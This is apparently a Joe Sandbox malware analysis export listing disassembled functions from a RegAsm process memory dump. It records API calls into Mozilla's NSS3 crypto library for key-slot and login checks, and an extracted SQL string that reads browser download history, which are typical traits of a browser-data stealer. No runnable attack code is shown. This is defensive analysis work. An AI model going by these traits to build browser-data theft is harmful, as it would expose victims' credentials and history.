Instruction ID: dea3689469dd717a21f5b24925848c1f06d0c260d97e70ed7f7a59b83f8b3b7f
Opcode Fuzzy Hash: 41b258046bfe7ba9237ad7b272fd44cee895d18d7640f388f66d4020ff3018b7
Instruction Fuzzy Hash: F2110675A01208EBD704CF21DC41AAAB7A5FF48314F408039FC154BAC0EB30991AC7A2

Function 0040F2B1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F2C7

Part of subcall function 0042EC15: std::exception::exception.LIBCMT ref: 0042EC2A
Part of subcall function 0042EC15: __CxxThrowException@8.LIBCMT ref: 0042EC3F
Part of subcall function 0042EC15: std::exception::exception.LIBCMT ref: 0042EC50

std::_Xinvalid_argument.LIBCPMT ref: 0040F2E6
_memmove.LIBCMT ref: 0040F320

Strings

invalid string position, xrefs: 0040F2C2
string too long, xrefs: 0040F2E1

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position$string too long
API String ID: 3404309857-4289949731
Opcode ID: a485421dd5a78cd2a7a1301aafb0f2a4a39fc08065067220dcce4613190f6d04
Instruction ID: 72e8036974cc761ff0466d6fc4036c30ded90f37fe8296419b9c0a4158f7f38d
Opcode Fuzzy Hash: a485421dd5a78cd2a7a1301aafb0f2a4a39fc08065067220dcce4613190f6d04
Instruction Fuzzy Hash: 4F11EC71300201AFCB24EF6DD881A59B3A5BF41324754053AF916EBAC2C778ED898799

Function 6C1A0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C1A0BDE), ref: 6C1A0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C1A0BDE), ref: 6C1A0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C1A0BDE), ref: 6C1A0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C1A0BDE), ref: 6C1A0E32

Strings

%s incr => %d (find lib), xrefs: 6C1A0E2D

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 467dfe21e705bc644904692364b5096448eef1e778615161994be46767c93914
Instruction ID: d184094b5b9d0ea908684ed9083edc7943d61123b75426ed4384b7ff4a6c5e54
Opcode Fuzzy Hash: 467dfe21e705bc644904692364b5096448eef1e778615161994be46767c93914
Instruction Fuzzy Hash: D70124B2B403149FE6208F64DC46E5773ACDB45A09B05452DED0AD3A41E762FC1987E2

Function 6C25AC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]$l,00000000,?,?,6C236AC6,?), ref: 6C25AC2D

Part of subcall function 6C1FADC0: TlsGetValue.KERNEL32(?,6C1DCDBB,?,6C1DD079,00000000,00000001), ref: 6C1FAE10
Part of subcall function 6C1FADC0: EnterCriticalSection.KERNEL32(?,?,6C1DCDBB,?,6C1DD079,00000000,00000001), ref: 6C1FAE24
Part of subcall function 6C1FADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C1DD079,00000000,00000001), ref: 6C1FAE5A
Part of subcall function 6C1FADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C1DCDBB,?,6C1DD079,00000000,00000001), ref: 6C1FAE6F
Part of subcall function 6C1FADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C1DCDBB,?,6C1DD079,00000000,00000001), ref: 6C1FAE7F
Part of subcall function 6C1FADC0: TlsGetValue.KERNEL32(?,6C1DCDBB,?,6C1DD079,00000000,00000001), ref: 6C1FAEB1
Part of subcall function 6C1FADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C1DCDBB,?,6C1DD079,00000000,00000001), ref: 6C1FAEC9

PK11_FreeSymKey.NSS3(?,@]$l,00000000,?,?,6C236AC6,?), ref: 6C25AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]$l,00000000,?,?,6C236AC6,?), ref: 6C25AC59
free.MOZGLUE(8CB6FF01,6C236AC6,?,?,?,?,?,?,?,?,?,?,6C245D40,00000000,?,6C24AAD4), ref: 6C25AC62

Strings

@]$l, xrefs: 6C25AC05

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]$l
API String ID: 1595327144-1809380887
Opcode ID: bfb14fcb55c8f73d61db0920d308c1b4e0b2ffafee61f0dd4d120a12948e9fdf
Instruction ID: 49d9000c1d64fa613e6dd6e4de65da9494500281bdc6f3562e7a6cf7bd98a25c
Opcode Fuzzy Hash: bfb14fcb55c8f73d61db0920d308c1b4e0b2ffafee61f0dd4d120a12948e9fdf
Instruction Fuzzy Hash: 9F0178B5600604DBDB00CF18E8C1B57B7A8AB04B1AF188069EC098F706D734E818CBB2

Function 00412166 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 34fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(uOA,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00414F75,?), ref: 00412181
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,00414F75,?), ref: 00412199
CloseHandle.KERNEL32(00000000,?,?,?,00414F75,?), ref: 004121A4
CloseHandle.KERNEL32(00000000,?,?,?,00414F75,?), ref: 004121AC

Strings

uOA, xrefs: 0041217E

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseFileHandle$CreateSize
String ID: uOA
API String ID: 4148174661-3678490981
Opcode ID: 7686551e53b7644eb34baed25e55cd4cc7a7d590d99c042858ac62be5e4dc265
Instruction ID: 87089636491fbed30b1748ff62e0772d8b8c37abbef2c6f1f22f5f972430845f
Opcode Fuzzy Hash: 7686551e53b7644eb34baed25e55cd4cc7a7d590d99c042858ac62be5e4dc265
Instruction Fuzzy Hash: 29F0A731641314FBFB14D7A0DD09FDA7AADEB08761F200250FE01E61D0D7B06F818669

Function 004092A7 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 192stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

lstrlenA.KERNEL32(?), ref: 004094AB
lstrlenA.KERNEL32(?), ref: 004094C6

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Strings

Downloads, xrefs: 004092D1
Downloads, xrefs: 00409328
SELECT target_path, tab_url from downloads, xrefs: 004093B9

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID: Downloads$Downloads$SELECT target_path, tab_url from downloads
API String ID: 2500673778-2241552939
Opcode ID: cb57f4a764e669b73d5b51ca3b6fcc4a1ad14003daf841302cbbc707677e7722
Instruction ID: eae3ab15f942f3a6d687bb56367076a16d2565de1c99799075523b18d7d4d790
Opcode Fuzzy Hash: cb57f4a764e669b73d5b51ca3b6fcc4a1ad14003daf841302cbbc707677e7722
Instruction Fuzzy Hash: 02712071A40119AFCF01FFA6DE465DD7775AF04309F510026F500B70E1DBB8AE898B99

Function 6C1AEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C1AEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C1AEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C1AEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C1AEEEB
free.MOZGLUE(?), ref: 6C1AEEF6

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: e02439a4c6286c005abe11ed13d184574320b2caef33eb6aeeec7268d8a452cc
Instruction ID: 72d9df66c5448df8e05cc3693ed74073df9d8700191f02e152bbe73418b1c36c
Opcode Fuzzy Hash: e02439a4c6286c005abe11ed13d184574320b2caef33eb6aeeec7268d8a452cc
Instruction Fuzzy Hash: 8931E9756002009FE7209FACCC457667BF4FF46315F150629E95A87A50E731E635CBE1

Function 6C1BAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C1B3FFF,00000000,?,?,?,?,?,6C1B1A1C,00000000,00000000), ref: 6C1BADA7

Part of subcall function 6C2114C0: TlsGetValue.KERNEL32 ref: 6C2114E0
Part of subcall function 6C2114C0: EnterCriticalSection.KERNEL32 ref: 6C2114F5
Part of subcall function 6C2114C0: PR_Unlock.NSS3 ref: 6C21150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C1B3FFF,00000000,?,?,?,?,?,6C1B1A1C,00000000,00000000), ref: 6C1BADB4

Part of subcall function 6C2110C0: TlsGetValue.KERNEL32(?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C2110F3
Part of subcall function 6C2110C0: EnterCriticalSection.KERNEL32(?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C21110C
Part of subcall function 6C2110C0: PL_ArenaAllocate.NSS3(?,?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C211141
Part of subcall function 6C2110C0: PR_Unlock.NSS3(?,?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C211182
Part of subcall function 6C2110C0: TlsGetValue.KERNEL32(?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C21119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C1B3FFF,?,?,?,?,6C1B3FFF,00000000,?,?,?,?,?,6C1B1A1C,00000000), ref: 6C1BADD5

Part of subcall function 6C20FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C208D2D,?,00000000,?), ref: 6C20FB85
Part of subcall function 6C20FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C20FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C2D94B0,?,?,?,?,?,?,?,?,6C1B3FFF,00000000,?), ref: 6C1BADEC

Part of subcall function 6C20B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C2E18D0,?), ref: 6C20B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C1B3FFF), ref: 6C1BAE3C

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 9cf4d1e6206dc4e6f1741556c89cb47fb8a75879e6bfcb6762accc0cda5566ee
Instruction ID: ec9ab94733a43c1b38e08a7ee5d1035eb8084b7a83ee28e651ec1890ae6b5d83
Opcode Fuzzy Hash: 9cf4d1e6206dc4e6f1741556c89cb47fb8a75879e6bfcb6762accc0cda5566ee
Instruction Fuzzy Hash: A8112961F0020C5BE7109B659C41BBF73FC9F6564DF044129FC15A6A41FB70E558C6E2

Function 6C1D8E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C1F2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C1C4F1C), ref: 6C1D8EA2

Part of subcall function 6C1FF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C1FF854
Part of subcall function 6C1FF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C1FF868
Part of subcall function 6C1FF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C1FF882
Part of subcall function 6C1FF820: free.MOZGLUE(04C483FF,?,?), ref: 6C1FF889
Part of subcall function 6C1FF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C1FF8A4
Part of subcall function 6C1FF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C1FF8AB
Part of subcall function 6C1FF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C1FF8C9
Part of subcall function 6C1FF820: free.MOZGLUE(280F10EC,?,?), ref: 6C1FF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C1F2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C1C4F1C), ref: 6C1D8EC3
TlsGetValue.KERNEL32(?,?,?,6C1F2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C1C4F1C), ref: 6C1D8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C1F2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C1D8EF1
PR_Unlock.NSS3 ref: 6C1D8F20

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: f2e2ca2d7b0c9b06f3a7e0a406deed94bec62964ac98c3279f96d485d5bca74d
Instruction ID: a57838d7b47f0668a20a6108ff2f71cf77244deb547d72635fd1d510ad6bc3cc
Opcode Fuzzy Hash: f2e2ca2d7b0c9b06f3a7e0a406deed94bec62964ac98c3279f96d485d5bca74d
Instruction Fuzzy Hash: F3217C71A09605AFD700AF29D484299BBF4FF48318F02556EEC989BB40D730F854CBD2

Function 004256E4 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.MSVCRT ref: 004256F2
_free.LIBCMT ref: 00425705

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _freemalloc
String ID:
API String ID: 3576935931-0
Opcode ID: 2b493ed735d85f9015adc675c3a17421fda87a9d97b28ce3bdfaf562aa5dddaf
Instruction ID: ab44e3d4aabf33480464c14823dd8638a603b7be60c18ad61e223350db0a4e2c
Opcode Fuzzy Hash: 2b493ed735d85f9015adc675c3a17421fda87a9d97b28ce3bdfaf562aa5dddaf
Instruction Fuzzy Hash: 1E11C832740A31EBCF216F75BC0465A37A49FC07A5FA4493BF84986251DA3CC941865C

Function 6C208800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C21085A,00000000,?,6C1B8369,?), ref: 6C208821
TlsGetValue.KERNEL32(?,?,6C21085A,00000000,?,6C1B8369,?), ref: 6C20883D
EnterCriticalSection.KERNEL32(?,?,?,6C21085A,00000000,?,6C1B8369,?), ref: 6C208856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C208887
PR_Unlock.NSS3(?,?,?,?,6C21085A,00000000,?,6C1B8369,?), ref: 6C208899

Part of subcall function 6C1A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C13204A), ref: 6C1A07AD
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C13204A), ref: 6C1A07CD
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C13204A), ref: 6C1A07D6
Part of subcall function 6C1A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C13204A), ref: 6C1A07E4
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,6C13204A), ref: 6C1A0864
Part of subcall function 6C1A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C1A0880
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C13204A), ref: 6C1A08CB
Part of subcall function 6C1A07A0: TlsGetValue.KERNEL32(?,?,6C13204A), ref: 6C1A08D7
Part of subcall function 6C1A07A0: TlsGetValue.KERNEL32(?,?,6C13204A), ref: 6C1A08FB

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: 54984e51604e1ceb1add44a749351ec1a294bb70f08fa10d35f212c1f0a8e8ad
Instruction ID: ef7eb5862ab88bd8412a4b5d63e041cc91067021aac32d4a9f6535e5f19952b1
Opcode Fuzzy Hash: 54984e51604e1ceb1add44a749351ec1a294bb70f08fa10d35f212c1f0a8e8ad
Instruction Fuzzy Hash: 21214CB5A0460E8FDB00AF78C5886AABBB4FF05309F10466BDC9496645E730D595CB92

Function 6C1C8FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C1D0710), ref: 6C1C8FF1
PR_CallOnce.NSS3(6C312158,6C1C9150,00000000,?,?,?,6C1C9138,?,6C1D0710), ref: 6C1C9029
calloc.MOZGLUE(00000001,00000000,?,?,6C1D0710), ref: 6C1C904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C1D0710), ref: 6C1C9066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C1D0710), ref: 6C1C9078

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 3677830891aa24cc2b0b24e39f7353069e918d15abd46fc494492d5a1d140310
Instruction ID: 27a9ba4cb2b9af22767a55d2eda2f2ff7957c5d61578e73e83b38889995162ee
Opcode Fuzzy Hash: 3677830891aa24cc2b0b24e39f7353069e918d15abd46fc494492d5a1d140310
Instruction Fuzzy Hash: 131144717001115BEB201AA9AC55A6A76ACEBA27ACF100131FC88C6F41F31BCD7583F7

Function 6C1DCD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C1F1E10: TlsGetValue.KERNEL32 ref: 6C1F1E36
Part of subcall function 6C1F1E10: EnterCriticalSection.KERNEL32(?,?,?,6C1CB1EE,2404110F,?,?), ref: 6C1F1E4B
Part of subcall function 6C1F1E10: PR_Unlock.NSS3 ref: 6C1F1E76

free.MOZGLUE(?,6C1DD079,00000000,00000001), ref: 6C1DCDA5
PK11_FreeSymKey.NSS3(?,6C1DD079,00000000,00000001), ref: 6C1DCDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C1DD079,00000000,00000001), ref: 6C1DCDCF
DeleteCriticalSection.KERNEL32(?,6C1DD079,00000000,00000001), ref: 6C1DCDE2
free.MOZGLUE(?), ref: 6C1DCDE9

Memory Dump Source

